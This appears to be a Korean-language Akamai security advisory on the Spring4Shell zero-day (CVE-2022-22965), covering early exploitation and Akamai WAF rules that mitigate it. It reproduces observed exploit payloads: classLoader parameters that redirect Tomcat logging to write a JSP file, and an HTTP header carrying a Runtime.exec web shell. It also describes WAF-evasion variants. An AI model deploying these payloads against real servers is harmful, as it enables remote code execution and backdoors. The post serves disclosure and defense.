Spring Core “Spring4Shell” 제로데이 완화
개요
2022년 3월 30일, 보안 커뮤니티는 인기 있는 오픈 소스 Java 프레임워크인 Spring과 관련된 취약점을 널리 인식하게 되었습니다. Akamai의 적응형 보안 엔진은 이 취약점에 대한 제로 데이 공격을 탐지했으며, Akamai 고객을 보호합니다(자세한 내용안 아래 참조).
취약점 공개 일정 및 기타 비공식적으로 보고된 정보로 인해 현재 상황에 대한 혼란이 야기되었습니다. 따라서 Akamai는 고객 및 기타 이해 관계자에게 상황을 업데이트하고자 합니다.
Spring 제품과 관련된 두 가지 취약점이 있습니다.
CVE-2022-22963은 3월 24일에 패치된 Spring Cloud Function(오픈 소스 서버리스 기술)의 취약점이며, 일반적인 악용이 가능했습니다. (참고: 이 취약점에 대한 별도의 블로그가 있습니다.)
Spring Core에는 “Spring4Shell”이라는 또 다른 취약점이 있으며, 이에 CVE-2022-22965가 지정되었습니다. Spring Core 취약점은 코어 라이브러리에 영향을 주기 때문에 더 큰 영향을 미치는 것으로 간주되므로 모든 Spring 프로젝트가 잠재적으로 영향을 받을 수 있습니다. 그러나 Spring 개발자조차 안전하지 않다고 경고하는 상황에서 이러한 취약점의 악용 가능성에 특별한 설정이 필요하다는 논의가 있습니다. 이제 이 취약점에 대한 세부 정보를 자세히 살펴보며 좀 더 명확히 설명해드리겠습니다.
Spring Core(“Spring4Shell”)의 악용이 가능해진 날(3월 30일), 악용 시도가 관찰되기 시작했습니다.
조기 악용 시도
첫 번째 악용 시도 중 일부는 웹 셸(웹 기반 원격 제어 백도어 파일)을 배포하려는 공격자들이었습니다. 이 웹 셸은 나중에 서버에서 임의의 명령을 액세스하고 실행하여 서버를 다른 멀웨어로 감염시키거나 대상 네트워크 내에서 확산시킬 수 있었습니다.
다른 시도들은 이 취약성에 대해 자체적인 테스트를 실행하는 회사들이었습니다.
지금까지 살펴본 공격 페이로드의 예는 다음과 같습니다.
다양한 악용 변종
Spring Core 취약점을 악용하는 방법은 여러 가지가 있지만 각 변형에서 악용 요청이 로깅 매개변수를 다시 구성합니다. 이러한 방식으로 공격자는 웹 셸 페이지의 이름, 파일 확장명 및 웹 셸 페이지가 작성될 디렉터리를 설정합니다.
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bf%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d
class.module.classLoader.resources.context.parent.pipeline.first.prefix=aaa
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
클래스의 url-decoded 파일 콘텐츠의 첫 패턴 매개변수는 %{f}i입니다.
%{} 에 의해 평가되는 f의 값은 f라는 HTTP 헤더에서 가져옵니다.
GET /aaa HTTP/1.1
호스트: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML(예:Gecko)) Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
f: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: 문서
Sec-Fetch-Mode: 탐색
Sec-Fetch-Site: 없음
Sec-Fetch-User: ?1
최초의 개념 증명 악용 사례를 Spring 개발자들의 공식적인 커뮤니케이션이 이루어지기 전에 한 연구원이 발표했으며, 바로 이 부분에서 혼란이 시작되었습니다. 연구원은 즉시 이를 중단했습니다. 그러나 이 악용은 이미 유출되어 vx-derground(보안 연구자 커뮤니티) 포털에서도 이용할 수 있었습니다.
그런 다음 악용이 다시 등장하면서 하나의 변형으로 시작하여 보다 소규모 버전으로 변경되었습니다. 변형 간의 주요 차이점은 취약한 매개변수가 POST 매개변수를 통해 설정되는지 아니면 쿼리 문자열을 통한 GET 요청에서 설정되는지 여부입니다. 두 번째 변경 사항은 서버로 전송되는 요청 수를 단일 요청으로 줄이는 것이었습니다.
또한 악용의 두 번째 버전에는 잠재적인 WAF 또는 입력 필터링 회피 기능이 포함되어 있으며 <%, %> 및 Runtime.getRuntime() 등 보안 컨트롤이 일반적으로 찾는 중요한 코드 패턴을 난독 처리하게 합니다. 업로드된 웹 셸 파일 콘텐츠에는 해당 헤더 값의 콘텐츠와 함께 Spring 으로 대체될 자리 표시자가 포함되어 있습니다.
따라서 클래스 콘텐츠의 %{접미사}는 HTTP 헤더 값 접미사인 %>//로 대체됩니다.
Akamai 적응형 보안 엔진으로 공격 완화
모든 Akamai Kona Site Defender 고객이 보호됩니다. Akamai Adaptive Security Engine은 기존의 명령어 인젝션 규칙으로 Spring Core를 제로데이를 탐지할 수 있었습니다.
3000023 - Apache Struts ClassLoader Manipulation 원격 코드 실행
이 취약점을 완화하는 다른 Kona Site Defender 룰세트:
자동화된 공격 그룹:
1000005 - 명령어 인젝션
Kona 룰 세트:
3000023 - Apache Struts ClassLoader Manipulation 원격 코드 실행
요약
Spring Core/“Spring4Shell” 취약점은 악용이 용이하여 많은 조직에 영향을 줄 가능성이 있습니다. 위협 행위자들은 이 취약점에 적응하고, 암호화폐 채굴, DDoS, 랜섬웨어에 대한 캠페인을 개시하고 향후 몇 년 이내에 이를 황금 티켓으로 활용하여 기업에 침투할 것이라고 예상합니다. 하지만 Akamai 고객은 적응형 보안 엔진 및 Kona Site Defender 규칙 집합을 통해 보호됩니다.
Akamai의 위협 연구팀은 이 취약점의 악용을 지속적으로 모니터링하고 있으며 새로운 변종이 발생하는 경우 알려드리겠습니다.